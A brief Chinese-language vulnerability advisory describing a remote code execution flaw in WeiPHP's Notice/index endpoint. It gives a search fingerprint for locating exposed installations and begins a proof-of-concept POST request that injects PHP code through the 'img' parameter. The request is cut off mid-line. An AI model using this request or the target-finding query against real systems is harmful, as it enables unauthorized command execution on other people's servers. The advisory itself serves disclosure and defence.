WeiPHP Notice/index接口处存在RCE漏洞

产品介绍

WeiPHP是一款基于PHP开发的开源微信公众号开发框架。它提供了丰富的功能和易于使用的接口，使开发者能够快速构建和管理微信公众号应用。WeiPHP支持自定义菜单、消息管理、用户管理、素材管理、支付接口等功能，同时还提供了插件机制和模块化开发，方便扩展和定制。WeiPHP是一个成熟的框架，被广泛应用于微信公众号开发领域。

漏洞描述

WeiPHP Notice/index接口处存在远程命令执行漏洞。攻击者通过发送精心构造的恶意请求，利用了该漏洞，成功实现在目标系统上执行任意系统命令的攻击。成功利用漏洞的攻击者可在目标系统上执行恶意操作，可能导致数据泄露、系统瘫痪或远程控制。

资产测绘

body=“/css/weiphp.css” || title=“weiphp” || title=“weiphp4.0”

漏洞复现

Poc:

POST /public/index.php/weixin/Notice/index?img=echo+md5(123);exit(); HTTP